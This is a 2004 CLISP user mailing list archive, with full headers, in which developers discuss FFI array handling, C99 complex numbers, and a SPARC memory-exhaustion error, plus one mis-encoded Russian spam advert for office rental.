clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 07:09:15 2004 X-Original-Date: Fri, 07 May 2004 10:08:48 -0400 > * Hoehle, Joerg-Cyril [2004-05-07 12:38:59 +0200]: > > AFAIK, CLISP doesn't have specialized float arrays anyway (IIRC). > Sam/Bruno, please correct me if my memory is wrong. You are right, CLISP does not have specialized float arrays. It would be relatively easy to add them in the NO_TYPECODES model (mostly used on 32-bit processors). It would be next to impossible to add them in the TYPECODES model (mostly used on 64-bit processors) because of limited number of unused typecodes. IMO, it does not make much sense from the performance POV to create specialized arrays for boxed types because there will be boxing on every access. If all you are doing with the arrays is passing them between foreign routines, you might want to view them as an opaque data type. I am open to corrections... -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From lisp-clisp-list@m.gmane.org Fri May 07 08:13:24 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BM72S-0002Ip-DG for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 08:13:24 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BM72S-0005tI-0Q for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 08:13:24 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BM72F-0005eP-00 for ; Fri, 07 May 2004 17:13:18 +0200 Received: from webproxy.imec.be ([146.103.254.11]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 07 May 2004 17:13:11 +0200 Received: from michael.goffioul by webproxy.imec.be with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 07 May 2004 17:13:11 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Goffioul Lines: 54 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 146.103.254.11 (Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Weird problem with FFI and :out arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 08:14:03 2004 X-Original-Date: Fri, 7 May 2004 15:13:09 +0000 (UTC) Hi, I have a problem I don't understand. I defined those 2 C-functions: int myfun3( int *a, int len ) { · int i; · for ( i=0; i Cc: Joerg-Cyril.Hoehle@t-systems.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Michael Goffioul's message of "Fri, 7 May 2004 15:13:09 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Goffioul , Joerg-Cyril.Hoehle@t-systems.com Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Weird problem with FFI and :out arguments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 08:22:07 2004 X-Original-Date: Fri, 07 May 2004 11:21:40 -0400 > * Michael Goffioul [2004-05-07 15:13:09 +0000]: > > I have a problem I don't understand. I defined those 2 C-functions:=20 >=20=20 > int myfun3( int *a, int len )=20 > {=20 > =C2=B7 int i;=20 > =C2=B7 for ( i=3D0; i =C2=B7 =C2=B7 a[ i ] =3D i;=20 > =C2=B7 return 0;=20 > }=20 >=20=20 > int myfun4( char *a, int len )=20 > {=20 > =C2=B7 int i;=20 > =C2=B7 for ( i=3D0; i =C2=B7 =C2=B7 a[ i ] =3D ( char )'a'+i;=20 > =C2=B7 return 0;=20 > }=20 >=20=20 > and I compiled them in a shared lib: libmyfun.so. In LISP, I then use=20 > the following calls:=20 >=20=20 > (def-call-out myfun3=20 > (:library "libmyfun.so")=20 > (:arguments (name (c-ptr (c-array-max int 256)) :out :alloca)=20 > (len int))=20 > (:name "myfun3")=20 > (:return-type int)=20 > (:language :stdc))=20 >=20=20 > (def-call-out myfun4=20 > (:library "libmyfun.so")=20 > (:arguments (name (c-ptr (c-array-max char 256)) :out :alloca)=20 > (len int))=20 > (:name "myfun4")=20 > (:return-type int)=20 > (:language :stdc))=20 >=20=20 > Finally I test those 2 functions with code like:=20 >=20=20 > (multiple-value-bind (success name)=20 > (myfun3 16) (if (zerop success) name 'failure))=20 > (multiple-value-bind (success name)=20 > (myfun4 16) (if (zerop success) name 'failure))=20 >=20=20 > The first call (with integer) returns an empty array, while the second > call (with char) returns a correctly filled array. The only difference > is the element type. Did I miss something??? Please, any comment is > welcome, I'm currently lost. note that the first element of the integer array you create in myfun3 is 0. IIUC, C-ARRAY-MAX is 0 terminated, so as soon as it sees a 0, it thinks that the array is finished. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)= ))) From benj@edgeglobal.com Fri May 07 14:03:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BMCV5-00041A-9E for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 14:03:19 -0700 Received: from [200.90.207.153] (helo=ixbt.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1BMCV4-000775-Ir for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 14:03:18 -0700 From: benj@edgeglobal.com To: Clisp-list References: In-Reply-To: Message-ID: <05LB4D9C0GKD2J5I@edgeglobal.com> MIME-Version: 1.0 Content-Type: text/plain; charset=Windows-1251 Content-Transfer-Encoding: 8bit X-Spam-Score: 4.9 (++++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 2.7 SUBJ_ILLEGAL_CHARS Subject contains too many raw illegal characters 1.9 DATE_IN_FUTURE_06_12 Date: is 6 to 12 hours after Received: date Subject: [clisp-list] Ñíèìó îôèñ. Ïîñðåäíèêàì - âîçíàãðàæäåíèå. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 14:04:01 2004 X-Original-Date: Sat, 08 May 2004 09:02:40 +0000 Øêîëà àíãëèéñêîãî ÿçûêà ñíèìåò îôèñ èç 5-7 êîìíàò â Ìîñêâå. Ïîäîéäåò ïîìåùåíèå â îôèñíîì çäàíèè, óíèâåðñèòåòå, øêîëå. Ïîñðåäíèêó, ïðåäîñòàâèâøåìó ðåàëüíûé âàðèàíò, âîçíàãðàæäåíèå $200 Òàê æå ðàññìîòðèì âñå ïðåäëîæåíèÿ îò àãåíñòâ íåäâèæèìîñòè. Òåëåôîí 8-926-227-6980 From fw@deneb.enyo.de Fri May 07 15:37:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BMDyP-0007Ke-Nf for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 15:37:41 -0700 Received: from mail.enyo.de ([212.9.189.167]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BMDyP-0006IE-6e for clisp-list@lists.sourceforge.net; Fri, 07 May 2004 15:37:41 -0700 Received: (debugging) helo=deneb ip=212.9.189.171 name=deneb.enyo.de Received: from deneb.enyo.de ([212.9.189.171] helo=deneb) by mail.enyo.de with esmtp id 1BMDyG-0006HZ-2Z; Sat, 08 May 2004 00:37:32 +0200 Received: from fw by deneb with local (Exim 4.32) id 1BMDyF-0002On-Aw; Sat, 08 May 2004 00:37:31 +0200 To: "Hoehle, Joerg-Cyril" Cc: michael.goffioul@imec.be, clisp-list@lists.sourceforge.net, haible@ilog.fr Subject: Re: [clisp-list] FFI with complex numbers? References: <5F9130612D07074EB0A0CE7E69FD7A031D3526@S4DE8PSAAGS.blf.telekom.de> From: Florian Weimer In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A031D3526@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Fri, 7 May 2004 10:25:26 +0200") Message-ID: <87ekpvhnis.fsf@deneb.enyo.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri May 7 15:38:04 2004 X-Original-Date: Sat, 08 May 2004 00:37:31 +0200 * Joerg-Cyril Hoehle: > Since there's no standard format for complex numbers in C, the CLISP > FFI doesn't provide standardized means to pass such objetcs. ISO C99 adds complex numbers. C99 support is still evolving in compilers, though. However, basic complex arithmetic works nowadays (libquantum has become quite portable). -- Current mail filters: many dial-up/DSL/cable modem hosts, and the following domains: atlas.cz, bigpond.com, di-ve.com, hotmail.com, jumpy.it, libero.it, netscape.net, postino.it, simplesnet.pt, tiscali.co.uk, tiscali.cz, tiscali.it, voila.fr, yahoo.com. From lisp-clisp-list@m.gmane.org Mon May 10 02:16:24 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BN6tb-0006WJ-Jx for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 02:16:23 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BN6ta-0005oS-WC for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 02:16:23 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BN6tR-0000Am-00 for ; Mon, 10 May 2004 11:16:21 +0200 Received: from webproxy.imec.be ([146.103.254.11]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 10 May 2004 11:16:13 +0200 Received: from michael.goffioul by webproxy.imec.be with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 10 May 2004 11:16:13 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Goffioul Lines: 66 Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A031D3585@S4DE8PSAAGS.blf.telekom.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 146.103.254.11 (Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: FFI with complex numbers? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 02:17:03 2004 X-Original-Date: Mon, 10 May 2004 09:16:11 +0000 (UTC) Sam Steingold gnu.org> writes: > > > * Hoehle, Joerg-Cyril g-flfgrzf.pbz> [2004-05-07 12:38:59 +0200]: > > > > AFAIK, CLISP doesn't have specialized float arrays anyway (IIRC). > > Sam/Bruno, please correct me if my memory is wrong. > > You are right, CLISP does not have specialized float arrays. > It would be relatively easy to add them in the NO_TYPECODES model > (mostly used on 32-bit processors). > It would be next to impossible to add them in the TYPECODES model > (mostly used on 64-bit processors) because of limited number of unused > typecodes. > > IMO, it does not make much sense from the performance POV to create > specialized arrays for boxed types because there will be boxing on > every access. > > If all you are doing with the arrays is passing them between foreign > routines, you might want to view them as an opaque data type. The problem is that arrays are coming from LISP objects and processed by underlying FORTRAN code, which usually modifies arrays in-situ. Hence it would be more efficient if the FORTRAN/C code could access directly LISP memory/data. But I can live with copying... OTOH, I read with interest a previous post/tutorial in 2003 about variable size arrays and how to use them with FFI. It could suit my needs, the only problem is that macros like WITH-FOREIGN-OBJECT or WITH-C-VAR only accept a single variable (at least that's how I understood the doc). Aren't there equivalent for multiple variables? Up to now, I'm left with code like this: (use-package "FFI") (def-call-out c-myfun (:library "libmyfun.so") (:name "myfun5") (:arguments (a c-pointer :in) (la int :in) (b c-pointer :in) (lb int :in)) (:return-type int) (:language :stdc)) (defun myfun (a b) (let* ((la (length a)) (lb (length b)) (c-a (foreign-allocate (parse-c-type 'int) :count la :initial-contents a)) (c-b (foreign-allocate (parse-c-type 'int) :count lb :initial-contents b)) (r (c-myfun c-a la c-b lb)) (new-a (foreign-value c-a)) (new-b (foreign-value c-b))) (foreign-free c-a) (foreign-free c-b) (values r new-a new-b))) Thanks. Michael. From bruno@clisp.org Mon May 10 03:50:59 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BN8N9-0004va-JY for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 03:50:59 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BN8N9-0006A8-7d for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 03:50:59 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AAlkiW025609; Mon, 10 May 2004 12:47:46 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AAlePM005601; Mon, 10 May 2004 12:47:41 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id C254E178AC; Mon, 10 May 2004 10:40:05 +0000 (UTC) From: Bruno Haible To: sds@gnu.org User-Agent: KMail/1.5 References: In-Reply-To: Cc: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405101240.04731.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 03:51:05 2004 X-Original-Date: Mon, 10 May 2004 12:40:04 +0200 Sam wrote: > I am loading some data from a huge file and I am getting this error: > *** - No more room for LISP objects > top: > > Memory: 4096M real, 1749M free, 8192M swap free > > PID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND > 11755 sds 1 0 0 1239M 1235M run 111:15 49.67% lisp.run > > I.e., there is enough physical RAM. there are 2 CPUs, so the above > means that CLISP is running full speed. > This is a sparc solaris 2.8. So you have a process that uses 1.2 GB of RAM on a machine with 4 GB address space? Given that both the OS and CLISP allocate their stuff at arbitrary address, this is likely to give problems. > so: what do I do? > can CLISP allocate more memory? > what does this message mean?! I'd try: 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS (add -DNO_SINGLEMAP -DNO_TRIVIALMAP -DNO_MULTIMAP_FILE -DNO_MULTIMAP_SHM to the CFLAGS). This will use malloc for memory allocation, thus perhaps reducing the address space problems. 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays. Bruno From sds@gnu.org Mon May 10 06:55:01 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNBFE-0003ja-Q8 for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 06:55:00 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BNBFE-0000X9-GQ for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 06:55:00 -0700 Received: from WINSTEINGOLDLAP ([10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i4ADskKY006534; Mon, 10 May 2004 09:54:47 -0400 (EDT) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200405101240.04731.bruno@clisp.org> (Bruno Haible's message of "Mon, 10 May 2004 12:40:04 +0200") References: <200405101240.04731.bruno@clisp.org> Mail-Followup-To: Bruno Haible , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 06:56:11 2004 X-Original-Date: Mon, 10 May 2004 09:54:46 -0400 > * Bruno Haible [2004-05-10 12:40:04 +0200]: > > Sam wrote: >> I am loading some data from a huge file and I am getting this error: >> *** - No more room for LISP objects >> top: >> >> Memory: 4096M real, 1749M free, 8192M swap free >> >> PID USERNAME THR PRI NICE SIZE RES STATE TIME CPU COMMAND >> 11755 sds 1 0 0 1239M 1235M run 111:15 49.67% lisp.run >> >> I.e., there is enough physical RAM. there are 2 CPUs, so the above >> means that CLISP is running full speed. >> This is a sparc solaris 2.8. > > So you have a process that uses 1.2 GB of RAM on a machine with 4 GB > address space? Given that both the OS and CLISP allocate their stuff > at arbitrary address, this is likely to give problems. why? there is more free space available than CLISP has already claimed! >> so: what do I do? >> can CLISP allocate more memory? >> what does this message mean?! > > I'd try: > 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS (add > -DNO_SINGLEMAP -DNO_TRIVIALMAP -DNO_MULTIMAP_FILE -DNO_MULTIMAP_SHM > to the CFLAGS). This will use malloc for memory allocation, thus perhaps > reducing the address space problems. does this mean no GENERATIONAL_GC?! > 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays. I thought that sparc was a 64 bit machine? OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES modes? -- Sam Steingold (http://www.podval.org/~sds) running w2k Fighting for peace is like screwing for virginity. From Joerg-Cyril.Hoehle@t-systems.com Mon May 10 07:00:02 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNBK5-00058H-RM for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 07:00:01 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNBK5-0006GW-5U for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 07:00:01 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 10 May 2004 15:59:43 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 10 May 2004 15:58:02 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A031D384F@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: michael.goffioul@imec.be Subject: AW: [clisp-list] Re: FFI with complex numbers? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 07:01:01 2004 X-Original-Date: Mon, 10 May 2004 15:58:02 +0200 Michael Goffioul wrote: >The problem is that arrays are coming from LISP objects and processed >by underlying FORTRAN code, which usually modifies arrays in-situ. There's FFI :in-out for that (for fixed-size arrays only). You can't still escape copying. malloc + copy + call + copy back is little different from what calling a foreign-call-out function would do (except for stack-allocation). >the only problem is that macros like WITH-FOREIGN-OBJECT or >WITH-C-VAR only accept a single variable (at least that's how I >understood the doc). Aren't there equivalent for multiple variables? This was my initial idea, then I realized that it would make the supporting C code much more complex. Dealing with complexity should be done at the Lisp level, where it's easily expressible. Furthermore, with multiple variables comes the duality of let/let*, i.e. sequential or parallel evaluation. I wasn't going to write two forms. What's wrong with either o a nested with-foreign-object o or a single with-foreign-object using a c-struct of two things? >Up to now, I'm left with code like this: It's ok. You have to resort to c-pointer, as my article explained. "I'm left with" sounds to me like you're missing something? I believe the code doesn't look much different from what you'd write using UFFI (not that I recommend the UFFI API, but CLISP doesn't offer a high-level API for variable arrays). Minor points about your code: o Either use ffi:allocate-deep instead of calling parse-c-type or stay with foreign-allocate but justify this choice by using (LOAD-TIME-VALUE (parse-c-type 'int)). You'll get a little less computation upon each invocation. o The code could easily be switched to with-foreign-object. It will then feel more safe with automatic protection against memory leaks in case someone ^C in the middle. I still haven't written macro-optimizers for the typical backquote-length case (that would suit your need): (with-foreign-object (fa `(c-array int ,(length a)) body) The goal of this optimization would be to eliminate some run-time PARSE-C-TYPE. It would be the pendant of the :count option to allocate. Sadly, the current FFI top-level WITH-* macros imply some run-time slow parse-c-type computations while FOREIGN-ALLOCATE with :count may not. Of course, malloc() has other speed implications... Regards, Jorg Hohle. From dgou@mac.com Mon May 10 07:01:46 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNBLl-0005am-Nr for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 07:01:45 -0700 Received: from smtpout.mac.com ([17.250.248.88]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNBLl-0006lu-GK for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 07:01:45 -0700 Received: from webmail09.mac.com (webmail09-en1 [10.13.10.98]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id i4AE1iIE025729 for ; Mon, 10 May 2004 07:01:44 -0700 (PDT) Received: from webmail09 (localhost [127.0.0.1]) by webmail09.mac.com (8.12.6/8.12.2) with ESMTP id i4AE1i9f025685 for ; Mon, 10 May 2004 07:01:44 -0700 (PDT) Message-ID: <15054071.1084197704332.JavaMail.dgou@mac.com> From: Douglas Philips To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: *** - No more room for LISP objects Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 07:02:07 2004 X-Original-Date: Mon, 10 May 2004 10:01:44 -0400 >does this mean no GENERATIONAL_GC?! > >OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES >modes? And can these answers (some questions elided) be fed back into that document? From bruno@clisp.org Mon May 10 07:43:35 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BNC0E-0000au-Lz for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 07:43:34 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BNC0D-00062X-O0 for clisp-list@lists.sourceforge.net; Mon, 10 May 2004 07:43:33 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AEhO9n005791; Mon, 10 May 2004 16:43:24 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.12.11/8.12.11) with ESMTP id i4AEhIRA006202; Mon, 10 May 2004 16:43:18 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 2D6531BB44; Mon, 10 May 2004 14:35:38 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold User-Agent: KMail/1.5 References: <200405101240.04731.bruno@clisp.org> In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200405101635.36961.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: *** - No more room for LISP objects Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 10 07:44:06 2004 X-Original-Date: Mon, 10 May 2004 16:35:36 +0200 Sam Steingold wrote: > > So you have a process that uses 1.2 GB of RAM on a machine with 4 GB > > address space? Given that both the OS and CLISP allocate their stuff > > at arbitrary address, this is likely to give problems. > > why? there is more free space available than CLISP has already claimed! It's about address space. Shared libraries, the executable, the stack, and the 3 clisp stack/heap areas are randomly scattered over a 4 GB space, therefore they cannot expand up to 4 GB without colliding with each other. > > 1) A clisp build with SPVW_PAGES instead of SPVW_BLOCKS > > does this mean no GENERATIONAL_GC?! Yes. > > 2) Use a 64-bit machine. AMD64 PCs are quite cheap nowadays. > > I thought that sparc was a 64 bit machine? On UltraSparcs, the CPU and the kernel are 64-bit, but most user programs are 32-bit. I have no idea which compiler settings you can choose to get a 64-bit mode program. > OK, so how much space can CLISP address in TYPECODES and NO_TYPECODES > modes? TYPECODES: max. 16 MB in 32-bit mode, 4 GB in 64-bit mode. NO_TYPECODES: the same order of magnitude as the CPU supports. Therefore I don't recommend TYPECODES here. Bruno From sds@gnu.org Mon May 